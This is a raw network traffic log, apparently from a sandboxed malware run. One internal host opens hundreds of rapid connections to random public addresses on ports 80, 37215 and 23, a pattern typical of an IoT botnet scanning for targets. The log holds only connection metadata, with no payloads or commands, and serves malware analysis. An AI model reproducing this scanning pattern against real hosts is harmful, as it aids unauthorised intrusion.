Jun 1, 2024 18:15:53.197495937 CEST	43496	80	192.168.2.23	199.225.180.118
Jun 1, 2024 18:15:53.197506905 CEST	60650	37215	192.168.2.23	41.164.227.208
Jun 1, 2024 18:15:53.197506905 CEST	60650	37215	192.168.2.23	156.33.225.228
Jun 1, 2024 18:15:53.197510004 CEST	60650	37215	192.168.2.23	156.193.10.45
Jun 1, 2024 18:15:53.197509050 CEST	43496	80	192.168.2.23	110.61.73.23
Jun 1, 2024 18:15:53.197509050 CEST	60650	37215	192.168.2.23	41.230.213.146
Jun 1, 2024 18:15:53.197513103 CEST	43496	80	192.168.2.23	173.32.38.253
Jun 1, 2024 18:15:53.197524071 CEST	60650	37215	192.168.2.23	41.249.106.11
Jun 1, 2024 18:15:53.197525024 CEST	60650	37215	192.168.2.23	41.193.154.175
Jun 1, 2024 18:15:53.197525978 CEST	60650	37215	192.168.2.23	197.215.123.203
Jun 1, 2024 18:15:53.197525978 CEST	60650	37215	192.168.2.23	156.107.214.89
Jun 1, 2024 18:15:53.197527885 CEST	43496	80	192.168.2.23	92.210.115.192
Jun 1, 2024 18:15:53.197527885 CEST	43496	80	192.168.2.23	179.246.143.199
Jun 1, 2024 18:15:53.197537899 CEST	43496	80	192.168.2.23	83.49.160.126
Jun 1, 2024 18:15:53.197540998 CEST	43496	80	192.168.2.23	61.127.90.77
Jun 1, 2024 18:15:53.197556019 CEST	43496	80	192.168.2.23	9.169.172.201
Jun 1, 2024 18:15:53.197556019 CEST	43496	80	192.168.2.23	91.48.163.190
Jun 1, 2024 18:15:53.197556973 CEST	60650	37215	192.168.2.23	197.196.166.105
Jun 1, 2024 18:15:53.197559118 CEST	60650	37215	192.168.2.23	156.198.133.179
Jun 1, 2024 18:15:53.197559118 CEST	60650	37215	192.168.2.23	156.85.186.89
Jun 1, 2024 18:15:53.197561979 CEST	43496	80	192.168.2.23	43.96.103.216
Jun 1, 2024 18:15:53.197561979 CEST	60650	37215	192.168.2.23	41.144.64.245
Jun 1, 2024 18:15:53.197563887 CEST	43496	80	192.168.2.23	110.41.164.150
Jun 1, 2024 18:15:53.197566032 CEST	43496	80	192.168.2.23	168.4.130.96
Jun 1, 2024 18:15:53.197570086 CEST	43496	80	192.168.2.23	121.110.136.89
Jun 1, 2024 18:15:53.197571039 CEST	43496	80	192.168.2.23	153.37.162.95
Jun 1, 2024 18:15:53.197575092 CEST	43496	80	192.168.2.23	197.185.224.91
Jun 1, 2024 18:15:53.197575092 CEST	60650	37215	192.168.2.23	156.141.233.124
Jun 1, 2024 18:15:53.197586060 CEST	43496	80	192.168.2.23	208.16.97.148
Jun 1, 2024 18:15:53.197586060 CEST	60650	37215	192.168.2.23	41.64.231.154
Jun 1, 2024 18:15:53.197590113 CEST	43496	80	192.168.2.23	153.188.59.132
Jun 1, 2024 18:15:53.197590113 CEST	43496	80	192.168.2.23	169.137.65.102
Jun 1, 2024 18:15:53.197594881 CEST	43496	80	192.168.2.23	134.167.201.230
Jun 1, 2024 18:15:53.197598934 CEST	43496	80	192.168.2.23	177.231.25.5
Jun 1, 2024 18:15:53.197617054 CEST	43496	80	192.168.2.23	1.73.209.108
Jun 1, 2024 18:15:53.197617054 CEST	43496	80	192.168.2.23	180.219.143.10
Jun 1, 2024 18:15:53.197617054 CEST	43496	80	192.168.2.23	221.76.95.178
Jun 1, 2024 18:15:53.197618961 CEST	60650	37215	192.168.2.23	156.185.171.224
Jun 1, 2024 18:15:53.197618961 CEST	43496	80	192.168.2.23	75.24.170.18
Jun 1, 2024 18:15:53.197623968 CEST	60650	37215	192.168.2.23	197.97.233.41
Jun 1, 2024 18:15:53.197623968 CEST	43496	80	192.168.2.23	195.77.110.238
Jun 1, 2024 18:15:53.197623968 CEST	43496	80	192.168.2.23	167.194.231.253
Jun 1, 2024 18:15:53.197627068 CEST	43496	80	192.168.2.23	14.33.80.184
Jun 1, 2024 18:15:53.197640896 CEST	43496	80	192.168.2.23	63.7.119.120
Jun 1, 2024 18:15:53.197642088 CEST	60650	37215	192.168.2.23	197.37.20.182
Jun 1, 2024 18:15:53.197643995 CEST	43496	80	192.168.2.23	92.145.117.109
Jun 1, 2024 18:15:53.197643995 CEST	43496	80	192.168.2.23	42.232.209.2
Jun 1, 2024 18:15:53.197643995 CEST	60650	37215	192.168.2.23	156.194.61.57
Jun 1, 2024 18:15:53.197643995 CEST	43496	80	192.168.2.23	37.231.189.9
Jun 1, 2024 18:15:53.197657108 CEST	60650	37215	192.168.2.23	156.115.52.75
Jun 1, 2024 18:15:53.197659016 CEST	60650	37215	192.168.2.23	41.61.54.93
Jun 1, 2024 18:15:53.197663069 CEST	43496	80	192.168.2.23	121.52.120.125
Jun 1, 2024 18:15:53.197664022 CEST	60650	37215	192.168.2.23	41.29.240.127
Jun 1, 2024 18:15:53.197666883 CEST	60650	37215	192.168.2.23	41.179.71.43
Jun 1, 2024 18:15:53.197669029 CEST	43496	80	192.168.2.23	91.68.232.18
Jun 1, 2024 18:15:53.197669029 CEST	43496	80	192.168.2.23	18.201.207.21
Jun 1, 2024 18:15:53.197680950 CEST	43496	80	192.168.2.23	42.114.104.248
Jun 1, 2024 18:15:53.197685957 CEST	43496	80	192.168.2.23	81.48.131.122
Jun 1, 2024 18:15:53.197686911 CEST	60650	37215	192.168.2.23	41.56.22.153
Jun 1, 2024 18:15:53.197693110 CEST	43496	80	192.168.2.23	105.180.191.144
Jun 1, 2024 18:15:53.197693110 CEST	60650	37215	192.168.2.23	41.23.36.64
Jun 1, 2024 18:15:53.197694063 CEST	43496	80	192.168.2.23	75.119.131.149
Jun 1, 2024 18:15:53.197696924 CEST	43496	80	192.168.2.23	13.153.129.152
Jun 1, 2024 18:15:53.197699070 CEST	60650	37215	192.168.2.23	197.81.225.105
Jun 1, 2024 18:15:53.197700024 CEST	43496	80	192.168.2.23	116.221.186.78
Jun 1, 2024 18:15:53.197700024 CEST	43496	80	192.168.2.23	169.113.117.55
Jun 1, 2024 18:15:53.197700024 CEST	43496	80	192.168.2.23	93.150.151.56
Jun 1, 2024 18:15:53.197700024 CEST	43496	80	192.168.2.23	45.134.135.1
Jun 1, 2024 18:15:53.197704077 CEST	60650	37215	192.168.2.23	41.104.188.254
Jun 1, 2024 18:15:53.197714090 CEST	23	65001	51.165.142.255	192.168.2.23
Jun 1, 2024 18:15:53.197714090 CEST	60650	37215	192.168.2.23	156.219.66.135
Jun 1, 2024 18:15:53.197715044 CEST	43496	80	192.168.2.23	181.202.194.143
Jun 1, 2024 18:15:53.197715044 CEST	43496	80	192.168.2.23	39.216.35.94
Jun 1, 2024 18:15:53.197731972 CEST	43496	80	192.168.2.23	150.161.174.155
Jun 1, 2024 18:15:53.197731972 CEST	60650	37215	192.168.2.23	41.125.186.113
Jun 1, 2024 18:15:53.197736025 CEST	43496	80	192.168.2.23	89.68.226.228
Jun 1, 2024 18:15:53.197736979 CEST	60650	37215	192.168.2.23	156.113.148.202
Jun 1, 2024 18:15:53.197736025 CEST	43496	80	192.168.2.23	197.104.156.226
Jun 1, 2024 18:15:53.197747946 CEST	43496	80	192.168.2.23	191.173.220.196
Jun 1, 2024 18:15:53.197747946 CEST	43496	80	192.168.2.23	121.126.68.62
Jun 1, 2024 18:15:53.197747946 CEST	43496	80	192.168.2.23	207.174.235.120
Jun 1, 2024 18:15:53.197750092 CEST	43496	80	192.168.2.23	106.6.243.211
Jun 1, 2024 18:15:53.197747946 CEST	65001	23	192.168.2.23	51.165.142.255
Jun 1, 2024 18:15:53.197751999 CEST	43496	80	192.168.2.23	106.65.216.161
Jun 1, 2024 18:15:53.197750092 CEST	43496	80	192.168.2.23	43.102.210.125
Jun 1, 2024 18:15:53.197753906 CEST	23	65001	206.218.41.26	192.168.2.23
Jun 1, 2024 18:15:53.197751999 CEST	43496	80	192.168.2.23	41.78.15.189
Jun 1, 2024 18:15:53.197758913 CEST	60650	37215	192.168.2.23	197.232.164.175
Jun 1, 2024 18:15:53.197765112 CEST	23	65001	35.100.240.130	192.168.2.23
Jun 1, 2024 18:15:53.197767019 CEST	43496	80	192.168.2.23	40.190.220.219
Jun 1, 2024 18:15:53.197767019 CEST	43496	80	192.168.2.23	176.186.81.156
Jun 1, 2024 18:15:53.197770119 CEST	43496	80	192.168.2.23	144.193.158.11
Jun 1, 2024 18:15:53.197770119 CEST	43496	80	192.168.2.23	25.186.51.60
Jun 1, 2024 18:15:53.197772026 CEST	60650	37215	192.168.2.23	41.228.171.247
Jun 1, 2024 18:15:53.197772026 CEST	43496	80	192.168.2.23	164.103.186.113
Jun 1, 2024 18:15:53.197777987 CEST	23	65001	167.35.206.140	192.168.2.23
Jun 1, 2024 18:15:53.197786093 CEST	65001	23	192.168.2.23	206.218.41.26
Jun 1, 2024 18:15:53.197787046 CEST	43496	80	192.168.2.23	169.126.118.144
Jun 1, 2024 18:15:53.197788000 CEST	23	65001	122.235.158.138	192.168.2.23
Jun 1, 2024 18:15:53.197789907 CEST	43496	80	192.168.2.23	139.222.230.28
Jun 1, 2024 18:15:53.197798014 CEST	23	65001	121.131.34.14	192.168.2.23
Jun 1, 2024 18:15:53.197798014 CEST	65001	23	192.168.2.23	35.100.240.130
Jun 1, 2024 18:15:53.197798014 CEST	65001	23	192.168.2.23	167.35.206.140
Jun 1, 2024 18:15:53.197804928 CEST	43496	80	192.168.2.23	118.40.75.186
Jun 1, 2024 18:15:53.197804928 CEST	43496	80	192.168.2.23	60.44.132.233
Jun 1, 2024 18:15:53.197804928 CEST	43496	80	192.168.2.23	157.222.2.81
Jun 1, 2024 18:15:53.197808027 CEST	60650	37215	192.168.2.23	197.52.68.46
Jun 1, 2024 18:15:53.197813988 CEST	43496	80	192.168.2.23	167.132.139.38
Jun 1, 2024 18:15:53.197818041 CEST	23	65001	91.70.89.172	192.168.2.23
Jun 1, 2024 18:15:53.197823048 CEST	65001	23	192.168.2.23	122.235.158.138
Jun 1, 2024 18:15:53.197824001 CEST	43496	80	192.168.2.23	34.28.25.135
Jun 1, 2024 18:15:53.197824001 CEST	43496	80	192.168.2.23	201.98.192.192
Jun 1, 2024 18:15:53.197828054 CEST	23	65001	96.23.181.133	192.168.2.23
Jun 1, 2024 18:15:53.197829962 CEST	65001	23	192.168.2.23	121.131.34.14
Jun 1, 2024 18:15:53.197834015 CEST	43496	80	192.168.2.23	81.36.220.230
Jun 1, 2024 18:15:53.197834015 CEST	43496	80	192.168.2.23	82.130.73.22
Jun 1, 2024 18:15:53.197837114 CEST	23	65001	75.122.232.128	192.168.2.23
Jun 1, 2024 18:15:53.197846889 CEST	65001	23	192.168.2.23	91.70.89.172
Jun 1, 2024 18:15:53.197846889 CEST	23	65001	154.222.153.181	192.168.2.23
Jun 1, 2024 18:15:53.197850943 CEST	43496	80	192.168.2.23	72.112.242.122
Jun 1, 2024 18:15:53.197851896 CEST	65001	23	192.168.2.23	96.23.181.133
Jun 1, 2024 18:15:53.197856903 CEST	23	65001	93.106.26.112	192.168.2.23
Jun 1, 2024 18:15:53.197858095 CEST	43496	80	192.168.2.23	162.111.194.156
Jun 1, 2024 18:15:53.197860956 CEST	60650	37215	192.168.2.23	41.217.73.69
Jun 1, 2024 18:15:53.197863102 CEST	60650	37215	192.168.2.23	41.237.11.82
Jun 1, 2024 18:15:53.197864056 CEST	65001	23	192.168.2.23	75.122.232.128
Jun 1, 2024 18:15:53.197865963 CEST	23	65001	19.84.208.216	192.168.2.23
Jun 1, 2024 18:15:53.197866917 CEST	60650	37215	192.168.2.23	197.99.37.155
Jun 1, 2024 18:15:53.197875977 CEST	65001	23	192.168.2.23	154.222.153.181
Jun 1, 2024 18:15:53.197875977 CEST	23	65001	140.71.138.229	192.168.2.23
Jun 1, 2024 18:15:53.197879076 CEST	65001	23	192.168.2.23	93.106.26.112
Jun 1, 2024 18:15:53.197885036 CEST	23	65001	106.157.64.34	192.168.2.23
Jun 1, 2024 18:15:53.197891951 CEST	60650	37215	192.168.2.23	41.54.134.138
Jun 1, 2024 18:15:53.197896004 CEST	23	65001	136.113.141.254	192.168.2.23
Jun 1, 2024 18:15:53.197897911 CEST	43496	80	192.168.2.23	63.194.193.1
Jun 1, 2024 18:15:53.197897911 CEST	43496	80	192.168.2.23	203.197.28.81
Jun 1, 2024 18:15:53.197901964 CEST	65001	23	192.168.2.23	19.84.208.216
Jun 1, 2024 18:15:53.197901964 CEST	65001	23	192.168.2.23	140.71.138.229
Jun 1, 2024 18:15:53.197906017 CEST	23	65001	181.224.47.69	192.168.2.23
Jun 1, 2024 18:15:53.197907925 CEST	65001	23	192.168.2.23	106.157.64.34
Jun 1, 2024 18:15:53.197909117 CEST	43496	80	192.168.2.23	208.229.192.34
Jun 1, 2024 18:15:53.197915077 CEST	43496	80	192.168.2.23	191.61.74.148
Jun 1, 2024 18:15:53.197922945 CEST	65001	23	192.168.2.23	136.113.141.254
Jun 1, 2024 18:15:53.197925091 CEST	23	65001	142.84.50.184	192.168.2.23
Jun 1, 2024 18:15:53.197928905 CEST	43496	80	192.168.2.23	182.140.170.230
Jun 1, 2024 18:15:53.197928905 CEST	43496	80	192.168.2.23	135.192.200.24
Jun 1, 2024 18:15:53.197932005 CEST	43496	80	192.168.2.23	217.1.184.132
Jun 1, 2024 18:15:53.197932959 CEST	65001	23	192.168.2.23	181.224.47.69
Jun 1, 2024 18:15:53.197935104 CEST	23	65001	217.17.172.193	192.168.2.23
Jun 1, 2024 18:15:53.197936058 CEST	43496	80	192.168.2.23	14.103.190.1
Jun 1, 2024 18:15:53.197943926 CEST	43496	80	192.168.2.23	195.2.22.252
Jun 1, 2024 18:15:53.197945118 CEST	23	65001	95.115.164.245	192.168.2.23
Jun 1, 2024 18:15:53.197952986 CEST	60650	37215	192.168.2.23	197.14.221.193
Jun 1, 2024 18:15:53.197953939 CEST	23	65001	2.247.221.120	192.168.2.23
Jun 1, 2024 18:15:53.197958946 CEST	60650	37215	192.168.2.23	41.22.240.26
Jun 1, 2024 18:15:53.197958946 CEST	60650	37215	192.168.2.23	156.58.46.237
Jun 1, 2024 18:15:53.197961092 CEST	60650	37215	192.168.2.23	156.199.163.35
Jun 1, 2024 18:15:53.197963953 CEST	65001	23	192.168.2.23	142.84.50.184
Jun 1, 2024 18:15:53.197964907 CEST	23	65001	201.155.89.179	192.168.2.23
Jun 1, 2024 18:15:53.197968006 CEST	60650	37215	192.168.2.23	197.16.236.207
Jun 1, 2024 18:15:53.197971106 CEST	65001	23	192.168.2.23	217.17.172.193
Jun 1, 2024 18:15:53.197971106 CEST	60650	37215	192.168.2.23	41.123.244.75
Jun 1, 2024 18:15:53.197973013 CEST	60650	37215	192.168.2.23	197.89.247.154
Jun 1, 2024 18:15:53.197973967 CEST	65001	23	192.168.2.23	95.115.164.245
Jun 1, 2024 18:15:53.197974920 CEST	23	65001	48.140.46.5	192.168.2.23
Jun 1, 2024 18:15:53.197983027 CEST	60650	37215	192.168.2.23	197.77.102.185
Jun 1, 2024 18:15:53.197983980 CEST	23	65001	20.138.81.184	192.168.2.23
Jun 1, 2024 18:15:53.197988033 CEST	65001	23	192.168.2.23	2.247.221.120
Jun 1, 2024 18:15:53.197988987 CEST	43496	80	192.168.2.23	177.88.233.51
Jun 1, 2024 18:15:53.197992086 CEST	43496	80	192.168.2.23	79.45.133.115
Jun 1, 2024 18:15:53.197993994 CEST	23	65001	174.117.148.150	192.168.2.23
Jun 1, 2024 18:15:53.197994947 CEST	65001	23	192.168.2.23	201.155.89.179
Jun 1, 2024 18:15:53.198004007 CEST	65001	23	192.168.2.23	48.140.46.5
Jun 1, 2024 18:15:53.198004961 CEST	43496	80	192.168.2.23	121.158.202.16
Jun 1, 2024 18:15:53.198004961 CEST	23	65001	115.135.171.58	192.168.2.23
Jun 1, 2024 18:15:53.198019028 CEST	60650	37215	192.168.2.23	41.35.136.198
Jun 1, 2024 18:15:53.198020935 CEST	43496	80	192.168.2.23	131.40.67.60
Jun 1, 2024 18:15:53.198020935 CEST	65001	23	192.168.2.23	20.138.81.184
Jun 1, 2024 18:15:53.198020935 CEST	65001	23	192.168.2.23	174.117.148.150
Jun 1, 2024 18:15:53.198024988 CEST	60650	37215	192.168.2.23	41.3.214.56
Jun 1, 2024 18:15:53.198029041 CEST	65001	23	192.168.2.23	115.135.171.58
Jun 1, 2024 18:15:53.198038101 CEST	60650	37215	192.168.2.23	197.141.141.230
Jun 1, 2024 18:15:53.198040009 CEST	60650	37215	192.168.2.23	156.198.0.72
Jun 1, 2024 18:15:53.198046923 CEST	43496	80	192.168.2.23	86.59.156.56
Jun 1, 2024 18:15:53.198055029 CEST	60650	37215	192.168.2.23	197.28.85.110
Jun 1, 2024 18:15:53.198056936 CEST	60650	37215	192.168.2.23	41.87.69.230
Jun 1, 2024 18:15:53.198069096 CEST	43496	80	192.168.2.23	23.145.187.178
Jun 1, 2024 18:15:53.198069096 CEST	60650	37215	192.168.2.23	197.152.59.53
Jun 1, 2024 18:15:53.198072910 CEST	60650	37215	192.168.2.23	197.44.34.189
Jun 1, 2024 18:15:53.198076010 CEST	43496	80	192.168.2.23	158.39.29.160
Jun 1, 2024 18:15:53.198077917 CEST	43496	80	192.168.2.23	180.29.40.134
Jun 1, 2024 18:15:53.198082924 CEST	43496	80	192.168.2.23	143.132.39.47
Jun 1, 2024 18:15:53.198097944 CEST	60650	37215	192.168.2.23	41.233.226.160
Jun 1, 2024 18:15:53.198098898 CEST	43496	80	192.168.2.23	63.108.227.169
Jun 1, 2024 18:15:53.198098898 CEST	60650	37215	192.168.2.23	41.238.49.229
Jun 1, 2024 18:15:53.198103905 CEST	43496	80	192.168.2.23	195.82.20.116
Jun 1, 2024 18:15:53.198103905 CEST	43496	80	192.168.2.23	128.186.56.238
Jun 1, 2024 18:15:53.198106050 CEST	43496	80	192.168.2.23	63.185.71.220
Jun 1, 2024 18:15:53.198106050 CEST	43496	80	192.168.2.23	49.85.32.122
Jun 1, 2024 18:15:53.198108912 CEST	43496	80	192.168.2.23	39.117.31.172
Jun 1, 2024 18:15:53.198108912 CEST	43496	80	192.168.2.23	160.21.31.94
Jun 1, 2024 18:15:53.198120117 CEST	43496	80	192.168.2.23	109.255.223.118
Jun 1, 2024 18:15:53.198123932 CEST	60650	37215	192.168.2.23	41.215.86.32
Jun 1, 2024 18:15:53.198129892 CEST	43496	80	192.168.2.23	158.217.177.136
Jun 1, 2024 18:15:53.198132992 CEST	60650	37215	192.168.2.23	156.69.3.25
Jun 1, 2024 18:15:53.198146105 CEST	43496	80	192.168.2.23	42.247.90.10
Jun 1, 2024 18:15:53.198146105 CEST	60650	37215	192.168.2.23	156.129.75.93
Jun 1, 2024 18:15:53.198148012 CEST	43496	80	192.168.2.23	203.143.4.238
Jun 1, 2024 18:15:53.198153019 CEST	43496	80	192.168.2.23	119.95.244.234
Jun 1, 2024 18:15:53.198158026 CEST	43496	80	192.168.2.23	187.196.138.138
Jun 1, 2024 18:15:53.198159933 CEST	43496	80	192.168.2.23	36.133.204.39
Jun 1, 2024 18:15:53.198160887 CEST	43496	80	192.168.2.23	171.117.150.33
Jun 1, 2024 18:15:53.198160887 CEST	43496	80	192.168.2.23	197.7.136.165
Jun 1, 2024 18:15:53.198163033 CEST	43496	80	192.168.2.23	45.233.122.80
Jun 1, 2024 18:15:53.198179007 CEST	60650	37215	192.168.2.23	156.186.56.132
Jun 1, 2024 18:15:53.198179007 CEST	60650	37215	192.168.2.23	156.193.79.172
Jun 1, 2024 18:15:53.198179960 CEST	60650	37215	192.168.2.23	156.117.18.195
Jun 1, 2024 18:15:53.198184013 CEST	43496	80	192.168.2.23	119.157.16.129
Jun 1, 2024 18:15:53.198184013 CEST	43496	80	192.168.2.23	64.68.156.94
Jun 1, 2024 18:15:53.198184013 CEST	60650	37215	192.168.2.23	156.192.140.164
Jun 1, 2024 18:15:53.198184013 CEST	43496	80	192.168.2.23	91.239.230.16
Jun 1, 2024 18:15:53.198184013 CEST	60650	37215	192.168.2.23	197.93.95.65
Jun 1, 2024 18:15:53.198185921 CEST	60650	37215	192.168.2.23	197.52.181.140
Jun 1, 2024 18:15:53.198185921 CEST	60650	37215	192.168.2.23	197.24.216.75
Jun 1, 2024 18:15:53.198191881 CEST	60650	37215	192.168.2.23	197.126.87.224
Jun 1, 2024 18:15:53.198196888 CEST	60650	37215	192.168.2.23	41.149.143.181
Jun 1, 2024 18:15:53.198196888 CEST	43496	80	192.168.2.23	9.112.99.73
Jun 1, 2024 18:15:53.198206902 CEST	60650	37215	192.168.2.23	156.196.150.124
Jun 1, 2024 18:15:53.198209047 CEST	43496	80	192.168.2.23	165.115.178.253
Jun 1, 2024 18:15:53.198211908 CEST	60650	37215	192.168.2.23	156.174.28.18
Jun 1, 2024 18:15:53.198215008 CEST	43496	80	192.168.2.23	186.37.69.21
Jun 1, 2024 18:15:53.198216915 CEST	60650	37215	192.168.2.23	156.224.44.130
Jun 1, 2024 18:15:53.198225021 CEST	60650	37215	192.168.2.23	156.190.54.140
Jun 1, 2024 18:15:53.198240042 CEST	43496	80	192.168.2.23	63.197.220.97
Jun 1, 2024 18:15:53.198240042 CEST	43496	80	192.168.2.23	31.96.186.86
Jun 1, 2024 18:15:53.198240995 CEST	43496	80	192.168.2.23	118.71.176.25
Jun 1, 2024 18:15:53.198240995 CEST	60650	37215	192.168.2.23	41.112.228.133
Jun 1, 2024 18:15:53.198242903 CEST	43496	80	192.168.2.23	38.97.6.55
Jun 1, 2024 18:15:53.198242903 CEST	43496	80	192.168.2.23	143.157.115.11
Jun 1, 2024 18:15:53.198242903 CEST	43496	80	192.168.2.23	51.74.63.147
Jun 1, 2024 18:15:53.198242903 CEST	43496	80	192.168.2.23	12.187.208.216
Jun 1, 2024 18:15:53.198256016 CEST	43496	80	192.168.2.23	85.125.238.49
Jun 1, 2024 18:15:53.198261976 CEST	60650	37215	192.168.2.23	156.165.73.173
Jun 1, 2024 18:15:53.198261976 CEST	43496	80	192.168.2.23	36.242.131.222
Jun 1, 2024 18:15:53.198266029 CEST	60650	37215	192.168.2.23	197.55.0.0
Jun 1, 2024 18:15:53.198271036 CEST	60650	37215	192.168.2.23	41.143.180.10
Jun 1, 2024 18:15:53.198276043 CEST	43496	80	192.168.2.23	82.154.229.27
Jun 1, 2024 18:15:53.198276043 CEST	43496	80	192.168.2.23	181.181.57.69
Jun 1, 2024 18:15:53.198276997 CEST	43496	80	192.168.2.23	61.183.135.56
Jun 1, 2024 18:15:53.198276997 CEST	43496	80	192.168.2.23	74.198.69.187
Jun 1, 2024 18:15:53.198276997 CEST	43496	80	192.168.2.23	81.223.173.128
Jun 1, 2024 18:15:53.198280096 CEST	43496	80	192.168.2.23	12.12.218.218
Jun 1, 2024 18:15:53.198281050 CEST	60650	37215	192.168.2.23	156.64.242.122
Jun 1, 2024 18:15:53.198282003 CEST	43496	80	192.168.2.23	197.163.135.132
Jun 1, 2024 18:15:53.198299885 CEST	43496	80	192.168.2.23	125.249.4.8
Jun 1, 2024 18:15:53.198302984 CEST	43496	80	192.168.2.23	147.82.150.6
Jun 1, 2024 18:15:53.198302984 CEST	60650	37215	192.168.2.23	197.45.100.124
Jun 1, 2024 18:15:53.198302984 CEST	43496	80	192.168.2.23	50.66.158.92
Jun 1, 2024 18:15:53.198304892 CEST	60650	37215	192.168.2.23	197.209.82.130
Jun 1, 2024 18:15:53.198306084 CEST	60650	37215	192.168.2.23	197.110.138.202
Jun 1, 2024 18:15:53.198308945 CEST	43496	80	192.168.2.23	97.98.66.98
Jun 1, 2024 18:15:53.198321104 CEST	60650	37215	192.168.2.23	197.146.171.195
Jun 1, 2024 18:15:53.198323011 CEST	43496	80	192.168.2.23	161.155.0.127
Jun 1, 2024 18:15:53.198324919 CEST	43496	80	192.168.2.23	81.28.225.110
Jun 1, 2024 18:15:53.198328018 CEST	43496	80	192.168.2.23	171.226.106.17
Jun 1, 2024 18:15:53.198335886 CEST	43496	80	192.168.2.23	142.48.228.191
Jun 1, 2024 18:15:53.198335886 CEST	43496	80	192.168.2.23	140.65.176.71
Jun 1, 2024 18:15:53.198337078 CEST	60650	37215	192.168.2.23	41.55.129.139
Jun 1, 2024 18:15:53.198352098 CEST	43496	80	192.168.2.23	45.146.71.207
Jun 1, 2024 18:15:53.198352098 CEST	60650	37215	192.168.2.23	41.139.184.125
Jun 1, 2024 18:15:53.198352098 CEST	60650	37215	192.168.2.23	156.132.68.208
Jun 1, 2024 18:15:53.198354959 CEST	60650	37215	192.168.2.23	197.116.147.113
Jun 1, 2024 18:15:53.198354959 CEST	60650	37215	192.168.2.23	41.83.178.152
Jun 1, 2024 18:15:53.198354959 CEST	43496	80	192.168.2.23	220.6.123.126
Jun 1, 2024 18:15:53.198367119 CEST	43496	80	192.168.2.23	103.61.241.2
Jun 1, 2024 18:15:53.198368073 CEST	43496	80	192.168.2.23	177.229.215.11
Jun 1, 2024 18:15:53.198374987 CEST	60650	37215	192.168.2.23	156.82.66.183
Jun 1, 2024 18:15:53.198379993 CEST	43496	80	192.168.2.23	96.93.85.25
Jun 1, 2024 18:15:53.198380947 CEST	43496	80	192.168.2.23	57.7.191.209
Jun 1, 2024 18:15:53.198386908 CEST	43496	80	192.168.2.23	36.186.132.209
Jun 1, 2024 18:15:53.198388100 CEST	43496	80	192.168.2.23	177.23.199.0
Jun 1, 2024 18:15:53.198388100 CEST	43496	80	192.168.2.23	110.121.167.250
Jun 1, 2024 18:15:53.198394060 CEST	43496	80	192.168.2.23	158.104.120.9
Jun 1, 2024 18:15:53.198394060 CEST	60650	37215	192.168.2.23	197.206.212.52
Jun 1, 2024 18:15:53.198394060 CEST	43496	80	192.168.2.23	161.185.213.38
Jun 1, 2024 18:15:53.198396921 CEST	23	65001	194.6.81.189	192.168.2.23
Jun 1, 2024 18:15:53.198405027 CEST	43496	80	192.168.2.23	68.109.103.190
Jun 1, 2024 18:15:53.198409081 CEST	60650	37215	192.168.2.23	156.61.22.38
Jun 1, 2024 18:15:53.198410988 CEST	60650	37215	192.168.2.23	197.228.250.45
Jun 1, 2024 18:15:53.198411942 CEST	43496	80	192.168.2.23	186.235.4.236
Jun 1, 2024 18:15:53.198415041 CEST	43496	80	192.168.2.23	117.152.33.240
Jun 1, 2024 18:15:53.198422909 CEST	43496	80	192.168.2.23	148.110.0.63
Jun 1, 2024 18:15:53.198426962 CEST	43496	80	192.168.2.23	183.3.38.248
Jun 1, 2024 18:15:53.198426962 CEST	65001	23	192.168.2.23	194.6.81.189
Jun 1, 2024 18:15:53.198427916 CEST	60650	37215	192.168.2.23	197.119.27.92
Jun 1, 2024 18:15:53.198435068 CEST	23	65001	163.108.193.113	192.168.2.23
Jun 1, 2024 18:15:53.198436022 CEST	43496	80	192.168.2.23	130.203.142.170
Jun 1, 2024 18:15:53.198440075 CEST	43496	80	192.168.2.23	170.176.99.242
Jun 1, 2024 18:15:53.198440075 CEST	60650	37215	192.168.2.23	156.143.238.107
Jun 1, 2024 18:15:53.198445082 CEST	23	65001	87.115.45.215	192.168.2.23
Jun 1, 2024 18:15:53.198457003 CEST	43496	80	192.168.2.23	76.194.102.135
Jun 1, 2024 18:15:53.198457003 CEST	43496	80	192.168.2.23	37.49.198.32
Jun 1, 2024 18:15:53.198461056 CEST	60650	37215	192.168.2.23	41.201.100.154
Jun 1, 2024 18:15:53.198462009 CEST	43496	80	192.168.2.23	130.214.163.211
Jun 1, 2024 18:15:53.198462009 CEST	65001	23	192.168.2.23	163.108.193.113
Jun 1, 2024 18:15:53.198465109 CEST	43496	80	192.168.2.23	152.225.46.40
Jun 1, 2024 18:15:53.198465109 CEST	43496	80	192.168.2.23	188.129.141.134
Jun 1, 2024 18:15:53.198468924 CEST	43496	80	192.168.2.23	58.110.105.226
Jun 1, 2024 18:15:53.198472977 CEST	23	65001	150.122.8.138	192.168.2.23
Jun 1, 2024 18:15:53.198479891 CEST	65001	23	192.168.2.23	87.115.45.215
Jun 1, 2024 18:15:53.198479891 CEST	43496	80	192.168.2.23	161.202.244.180
Jun 1, 2024 18:15:53.198482990 CEST	23	65001	187.201.203.77	192.168.2.23
Jun 1, 2024 18:15:53.198484898 CEST	60650	37215	192.168.2.23	197.201.49.99
Jun 1, 2024 18:15:53.198484898 CEST	60650	37215	192.168.2.23	197.142.50.67
Jun 1, 2024 18:15:53.198484898 CEST	43496	80	192.168.2.23	71.74.24.154
Jun 1, 2024 18:15:53.198492050 CEST	23	65001	25.40.108.92	192.168.2.23
Jun 1, 2024 18:15:53.198498964 CEST	43496	80	192.168.2.23	219.6.173.219
Jun 1, 2024 18:15:53.198503971 CEST	23	65001	38.225.17.24	192.168.2.23
Jun 1, 2024 18:15:53.198504925 CEST	43496	80	192.168.2.23	41.27.170.172
Jun 1, 2024 18:15:53.198506117 CEST	43496	80	192.168.2.23	27.224.62.94
Jun 1, 2024 18:15:53.198513031 CEST	23	65001	42.39.31.227	192.168.2.23
Jun 1, 2024 18:15:53.198514938 CEST	60650	37215	192.168.2.23	156.3.25.71
Jun 1, 2024 18:15:53.198517084 CEST	65001	23	192.168.2.23	150.122.8.138
Jun 1, 2024 18:15:53.198518991 CEST	65001	23	192.168.2.23	187.201.203.77
Jun 1, 2024 18:15:53.198520899 CEST	60650	37215	192.168.2.23	41.105.20.20
Jun 1, 2024 18:15:53.198523998 CEST	60650	37215	192.168.2.23	156.223.61.123
Jun 1, 2024 18:15:53.198530912 CEST	65001	23	192.168.2.23	38.225.17.24
Jun 1, 2024 18:15:53.198532104 CEST	43496	80	192.168.2.23	75.154.175.205
Jun 1, 2024 18:15:53.198533058 CEST	23	65001	70.209.153.247	192.168.2.23
Jun 1, 2024 18:15:53.198535919 CEST	65001	23	192.168.2.23	25.40.108.92
Jun 1, 2024 18:15:53.198535919 CEST	43496	80	192.168.2.23	38.251.84.30
